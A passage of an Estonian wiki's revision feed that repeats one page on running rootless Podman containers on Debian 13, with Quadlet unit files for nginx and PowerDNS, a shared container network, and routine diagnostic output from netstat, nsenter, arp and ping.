            │     └─3481 /usr/bin/conmon --api-version 1 -c a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -u a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            ├─init.scope&lt;br /&gt;
            │ ├─3376 /usr/lib/systemd/systemd --user&lt;br /&gt;
            │ └─3378 &amp;quot;(sd-pam)&amp;quot;&lt;br /&gt;
            ├─session.slice&lt;br /&gt;
            │ └─dbus.service&lt;br /&gt;
            │   └─3536 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only&lt;br /&gt;
            └─user.slice&lt;br /&gt;
              └─podman-pause-407bd36c.scope&lt;br /&gt;
                └─3427 catatonit -P&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===podhost podide vaheline võrk===&lt;br /&gt;
&lt;br /&gt;
Selleks, et ühe ja sama podhost peal töötavad pod'id omavahel saaksid üle võrgu suhelda sobib kasutada sellist asjakorraldust, ühe pod systemd unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=8081:8081/tcp&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
# Environment=PDNS_local_port=8053&lt;br /&gt;
Network=dns-net.network&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
teise systemd unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/nginx-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 01&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8091:80&lt;br /&gt;
ContainerName=nginx-01&lt;br /&gt;
Volume=%h/volume/nginx/etc/nginx/nginx.conf:/etc/nginx/nginx.conf:ro&lt;br /&gt;
Network=dns-net.network&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
võrgu unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/dns-net.network&lt;br /&gt;
[Network]&lt;br /&gt;
NetworkName=dns-net&lt;br /&gt;
Options=dns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad podhost peale sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# netstat -lnpt | grep rootle&lt;br /&gt;
tcp6       0      0 :::8081                 :::*                    LISTEN      63597/rootlessport&lt;br /&gt;
tcp6       0      0 :::8091                 :::*                    LISTEN      63627/rootlessport&lt;br /&gt;
tcp6       0      0 :::1053                 :::*                    LISTEN      63597/rootlessport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures nad on erinevad namespace'id&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# lsns -T | grep rootlessport&lt;br /&gt;
│ ├─4026532532 net         4 63597 kasutaja        rootlessport&lt;br /&gt;
│ ├─4026532647 net         5 63627 kasutaja        rootlessport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning nende sees on sellised võrguliidesed&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63597 -n ip addr show dev eth0&lt;br /&gt;
2: eth0@if4: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 65520 qdisc noqueue state UP group default qlen 1000&lt;br /&gt;
    link/ether ce:90:e6:c1:2e:42 brd ff:ff:ff:ff:ff:ff link-netnsid 0&lt;br /&gt;
    inet 10.89.0.5/24 brd 10.89.0.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::cc90:e6ff:fec1:2e42/64 scope link proto kernel_ll&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63627 -n ip addr show dev eth0&lt;br /&gt;
2: eth0@if5: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 65520 qdisc noqueue state UP group default qlen 1000&lt;br /&gt;
    link/ether 7e:9d:11:fa:3b:24 brd ff:ff:ff:ff:ff:ff link-netnsid 0&lt;br /&gt;
    inet 10.89.0.6/24 brd 10.89.0.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::7c9d:11ff:fefa:3b24/64 scope link proto kernel_ll&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja arp tabelid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63597 -n arp -an&lt;br /&gt;
? (10.89.0.6) at 7e:9d:11:fa:3b:24 [ether] on eth0&lt;br /&gt;
? (10.89.0.1) at 9a:1f:56:3d:e4:d6 [ether] on eth0&lt;br /&gt;
&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63627 -n arp -an&lt;br /&gt;
? (10.89.0.1) at 9a:1f:56:3d:e4:d6 [ether] on eth0&lt;br /&gt;
? (10.89.0.5) at ce:90:e6:c1:2e:42 [ether] on eth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja nt pod'i sisse minnes võrk töötab teise pod'iga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ podman exec -ti nginx-01 ping -c 2 pdns-01&lt;br /&gt;
PING pdns-01 (10.89.0.5): 56 data bytes&lt;br /&gt;
64 bytes from 10.89.0.5: seq=0 ttl=42 time=0.020 ms&lt;br /&gt;
64 bytes from 10.89.0.5: seq=1 ttl=42 time=0.064 ms&lt;br /&gt;
&lt;br /&gt;
--- pdns-01 ping statistics ---&lt;br /&gt;
2 packets transmitted, 2 packets received, 0% packet loss&lt;br /&gt;
round-trip min/avg/max = 0.020/0.042/0.064 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures huvitav, et interneti ei saa pingida (see on passt võrgunduse eripära)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ podman exec -ti nginx-01 ping -c 2 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8): 56 data bytes&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
2 packets transmitted, 0 packets received, 100% packet loss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://passt.top/&lt;br /&gt;
* youtube 'Getting started with Podman' by SRKMasterStack&lt;br /&gt;
* 'Podman for DevOps - Second Edition' - Alessandro Arrichiello, Gianni Salinetti&lt;br /&gt;
* https://www.hackerstack.org/understanding-linux-namespaces/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4231</id>
		<title>Podman kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4231"/>
		<updated>2026-06-15T21:49:28Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* podhost podide vaheline võrk */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* slirp4netns&lt;br /&gt;
* slip&lt;br /&gt;
* netavark&lt;br /&gt;
* uidmap&lt;br /&gt;
&lt;br /&gt;
===Ettevalmistamine===&lt;br /&gt;
&lt;br /&gt;
Antud juhuks kasutatakse Debian v. 13 operatsioonisüsteemi, siin on olemas&lt;br /&gt;
&lt;br /&gt;
* kernel v. 6.12&lt;br /&gt;
* podman v. 5 (mitte v. 4 nagu näiteks Ubuntu 24.04)&lt;br /&gt;
&lt;br /&gt;
podman tarkvara paigaldamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# apt-get install podman -d&lt;br /&gt;
Reading package lists... Done&lt;br /&gt;
Building dependency tree... Done&lt;br /&gt;
Reading state information... Done&lt;br /&gt;
The following additional packages will be installed:&lt;br /&gt;
  aardvark-dns buildah catatonit conmon containernetworking-plugins containers-storage cpp cpp-14 cpp-14-x86-64-linux-gnu&lt;br /&gt;
  cpp-x86-64-linux-gnu criu crun dirmngr fuse-overlayfs fuse3 gnupg gnupg-l10n gnupg-utils golang-github-containers-common&lt;br /&gt;
  golang-github-containers-image gpg gpg-agent gpg-wks-client gpgconf gpgsm gpgv iptables libassuan9 libcompel1 libcriu2 libgcrypt20&lt;br /&gt;
  libgpg-error-l10n libgpg-error0 libgpgme11t64 libip4tc2 libip6tc2 libisl23 libksba8 libldap-common libldap2 libmpc3 libmpfr6 libnet1&lt;br /&gt;
  libnetfilter-conntrack3 libnfnetlink0 libnl-3-200 libnpth0t64 libprotobuf32t64 libsasl2-2 libsasl2-modules libsasl2-modules-db libslirp0&lt;br /&gt;
  libsubid5 libyajl2 netavark passt pinentry-curses python3-protobuf python3-pycriu slirp4netns uidmap&lt;br /&gt;
Suggested packages:&lt;br /&gt;
  cpp-doc gcc-14-locales cpp-14-doc libwasmedge0 pinentry-gnome3 tor gpg-wks-server parcimonie xloadimage scdaemon tpm2daemon firewalld&lt;br /&gt;
  rng-tools libsasl2-modules-gssapi-mit | libsasl2-modules-gssapi-heimdal libsasl2-modules-ldap libsasl2-modules-otp libsasl2-modules-sql&lt;br /&gt;
  pinentry-doc docker-compose&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* paigaldatakse lisaks passt ja slirp4nets, uidmap conman, netavark, criu, crun&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl --user enable --now podman.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
chatgpt soovitus, 'you might need to increase your &amp;quot;unprivileged ports&amp;quot; or &amp;quot;max user namespaces&amp;quot; in /etc/sysctl.conf'&lt;br /&gt;
&lt;br /&gt;
Võrgukontroll&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ps aux | grep -E 'pasta|slirp4netns'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Quadlet kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user mask podman-user-wait-network-online.service&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ cat .config/containers/systemd/nginx-08.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8098:80&lt;br /&gt;
ContainerName=nginx-08&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user daemon-reload&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user start nginx-08.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kuna unit genereeritakse, siis '... enable --now ...' vms ei ole asjakohane (saab veateate)&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user status nginx-07&lt;br /&gt;
● nginx-07.service - My Nginx Quadlet Service - 07&lt;br /&gt;
     Loaded: loaded (/home/kasutaja/.config/containers/systemd/nginx-07.container; generated)&lt;br /&gt;
     Active: active (running) since Sun 2026-04-19 20:26:21 EEST; 5min ago&lt;br /&gt;
 Invocation: 2954482c56c64789a40f697e6d660f2f&lt;br /&gt;
   Main PID: 4344 (conmon)&lt;br /&gt;
      Tasks: 5 (limit: 6982)&lt;br /&gt;
     Memory: 30.9M (peak: 46.6M)&lt;br /&gt;
        CPU: 94ms&lt;br /&gt;
     CGroup: /user.slice/user-1000.slice/user@1000.service/app.slice/nginx-07.service&lt;br /&gt;
             ├─libpod-payload-448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
             │ ├─4346 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
             │ ├─4372 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             │ └─4373 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             └─runtime&lt;br /&gt;
               ├─4341 /usr/bin/pasta --config-net -t 8097-8097:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-5f134e7f-f63d-6728-4123-10ffea79d4e9 --map-guest-addr 169.254.1.2&lt;br /&gt;
               └─4344 /usr/bin/conmon --api-version 1 -c 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -u 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -r /usr/bin/crun -b /home/kasutaja/.local/share/containers/storage/overlay-containers/448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70/userdata -p /run/user/1000/containers/overlay-containers/448f5affd046e479f&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4324]: 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 podman[4324]: 2026-04-19 20:26:21.222328815 +0300 EEST m=+0.015770124 image pull 5bd7bd52e5bcab15a093466b90e37472b0d0c0081052522afb8924cbdaf15f56 docker.io/library/nginx:alpine&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: using the &amp;quot;epoll&amp;quot; event method&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: nginx/1.29.8&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: built by gcc 15.2.0 (Alpine 15.2.0)&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: OS: Linux 6.12.74+deb13+1-amd64&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 524288:524288&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker processes&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 25&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Olukorra küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
          └─user@1000.service&lt;br /&gt;
            ├─app.slice&lt;br /&gt;
            │ ├─nginx-08.service&lt;br /&gt;
            │ │ ├─libpod-payload-bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045&lt;br /&gt;
            │ │ │ ├─3485 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │ │ │ ├─3537 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ │ └─3538 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ └─runtime&lt;br /&gt;
            │ │   ├─3464 /usr/bin/pasta --config-net -t 8098-8098:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-91377314-f55f-138d-42af-3d324176cd02 --map-guest-addr &amp;gt;&lt;br /&gt;
            │ │   └─3480 /usr/bin/conmon --api-version 1 -c bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -u bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            │ └─nginx-09.service&lt;br /&gt;
            │   ├─libpod-payload-a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a&lt;br /&gt;
            │   │ ├─3484 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │   │ ├─3511 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   │ └─3512 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   └─runtime&lt;br /&gt;
            │     ├─3476 /usr/bin/pasta --config-net -t 8099-8099:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-ec2cfa9a-6c8b-0edf-24a2-be75c53feb34 --map-guest-addr &amp;gt;&lt;br /&gt;
            │     └─3481 /usr/bin/conmon --api-version 1 -c a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -u a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            ├─init.scope&lt;br /&gt;
            │ ├─3376 /usr/lib/systemd/systemd --user&lt;br /&gt;
            │ └─3378 &amp;quot;(sd-pam)&amp;quot;&lt;br /&gt;
            ├─session.slice&lt;br /&gt;
            │ └─dbus.service&lt;br /&gt;
            │   └─3536 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only&lt;br /&gt;
            └─user.slice&lt;br /&gt;
              └─podman-pause-407bd36c.scope&lt;br /&gt;
                └─3427 catatonit -P&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===podhost podide vaheline võrk===&lt;br /&gt;
&lt;br /&gt;
Selleks, et ühe ja sama podhost peal töötavad pod'id omavahel saaksid üle võrgu suhelda sobib kasutada sellist asjakorraldust, ühe pod systemd unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=8081:8081/tcp&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
# Environment=PDNS_local_port=8053&lt;br /&gt;
Network=dns-net.network&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
teise systemd unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/nginx-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 01&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8091:80&lt;br /&gt;
ContainerName=nginx-01&lt;br /&gt;
Volume=%h/volume/nginx/etc/nginx/nginx.conf:/etc/nginx/nginx.conf:ro&lt;br /&gt;
Network=dns-net.network&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
võrgu unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/dns-net.network&lt;br /&gt;
[Network]&lt;br /&gt;
NetworkName=dns-net&lt;br /&gt;
Options=dns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad podhost peale sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# netstat -lnpt | grep rootle&lt;br /&gt;
tcp6       0      0 :::8081                 :::*                    LISTEN      63597/rootlessport&lt;br /&gt;
tcp6       0      0 :::8091                 :::*                    LISTEN      63627/rootlessport&lt;br /&gt;
tcp6       0      0 :::1053                 :::*                    LISTEN      63597/rootlessport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures nad on erinevad namespace'id&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# lsns -T | grep rootlessport&lt;br /&gt;
│ ├─4026532532 net         4 63597 kasutaja        rootlessport&lt;br /&gt;
│ ├─4026532647 net         5 63627 kasutaja        rootlessport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning nende sees on sellised võrguliidesed&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63597 -n ip addr show dev eth0&lt;br /&gt;
2: eth0@if4: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 65520 qdisc noqueue state UP group default qlen 1000&lt;br /&gt;
    link/ether ce:90:e6:c1:2e:42 brd ff:ff:ff:ff:ff:ff link-netnsid 0&lt;br /&gt;
    inet 10.89.0.5/24 brd 10.89.0.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::cc90:e6ff:fec1:2e42/64 scope link proto kernel_ll&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63627 -n ip addr show dev eth0&lt;br /&gt;
2: eth0@if5: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 65520 qdisc noqueue state UP group default qlen 1000&lt;br /&gt;
    link/ether 7e:9d:11:fa:3b:24 brd ff:ff:ff:ff:ff:ff link-netnsid 0&lt;br /&gt;
    inet 10.89.0.6/24 brd 10.89.0.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::7c9d:11ff:fefa:3b24/64 scope link proto kernel_ll&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja arp tabelid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63597 -n arp -an&lt;br /&gt;
? (10.89.0.6) at 7e:9d:11:fa:3b:24 [ether] on eth0&lt;br /&gt;
? (10.89.0.1) at 9a:1f:56:3d:e4:d6 [ether] on eth0&lt;br /&gt;
&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63627 -n arp -an&lt;br /&gt;
? (10.89.0.1) at 9a:1f:56:3d:e4:d6 [ether] on eth0&lt;br /&gt;
? (10.89.0.5) at ce:90:e6:c1:2e:42 [ether] on eth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja nt pod'i sisse minnes võrk töötab teise pod'iga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ podman exec -ti nginx-01 ping -c 2 pdns-01&lt;br /&gt;
PING pdns-01 (10.89.0.5): 56 data bytes&lt;br /&gt;
64 bytes from 10.89.0.5: seq=0 ttl=42 time=0.020 ms&lt;br /&gt;
64 bytes from 10.89.0.5: seq=1 ttl=42 time=0.064 ms&lt;br /&gt;
&lt;br /&gt;
--- pdns-01 ping statistics ---&lt;br /&gt;
2 packets transmitted, 2 packets received, 0% packet loss&lt;br /&gt;
round-trip min/avg/max = 0.020/0.042/0.064 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://passt.top/&lt;br /&gt;
* youtube 'Getting started with Podman' by SRKMasterStack&lt;br /&gt;
* 'Podman for DevOps - Second Edition' - Alessandro Arrichiello, Gianni Salinetti&lt;br /&gt;
* https://www.hackerstack.org/understanding-linux-namespaces/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4230</id>
		<title>Podman kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4230"/>
		<updated>2026-06-15T21:47:21Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* podhost podide vaheline võrk */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* slirp4netns&lt;br /&gt;
* slip&lt;br /&gt;
* netavark&lt;br /&gt;
* uidmap&lt;br /&gt;
&lt;br /&gt;
===Ettevalmistamine===&lt;br /&gt;
&lt;br /&gt;
Antud juhuks kasutatakse Debian v. 13 operatsioonisüsteemi, siin on olemas&lt;br /&gt;
&lt;br /&gt;
* kernel v. 6.12&lt;br /&gt;
* podman v. 5 (mitte v. 4 nagu näiteks Ubuntu 24.04)&lt;br /&gt;
&lt;br /&gt;
podman tarkvara paigaldamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
